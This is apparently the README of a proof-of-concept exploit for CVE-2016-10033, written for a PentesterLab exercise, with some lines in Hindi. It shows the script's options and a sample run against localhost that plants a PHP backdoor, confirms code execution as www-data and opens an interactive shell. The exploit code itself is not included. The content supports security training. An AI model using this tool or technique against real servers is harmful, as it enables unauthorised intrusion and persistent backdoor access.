
A PoC of CVE-2016-10033 I made for PentesterLab
इसे PentesterLab के लिए लिखा गया है
यदि आप PentesterLab से हैं तो धोखा न दें, सीखना कहीं बेहतर है।
उम्मीद है कि यह किसी के लिए उपयोगी होगा, यदि नहीं तो भविष्य में मेरे लिए :)
इसमें इंटरैक्टिव शेल है, अच्छा argparse सामान भी
usage: poc.py [-h] [--target TARGET] [--backdoor BACKDOOR] [--proxy] [--raw] [--no-color]
options:
-h, --help show this help message and exit
--target TARGET Target URL
--backdoor BACKDOOR Backdoor path
--proxy Use local proxy
--raw Show raw output
--no-color Disable colored output
$ python3 poc.py --target http://localhost:8000 --proxy
[+] Using random backdoor name: caxvcs009f.php
[+] Sending exploit to target...
[+] Testing backdoor...
[+] Backdoor working! Test output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
www-data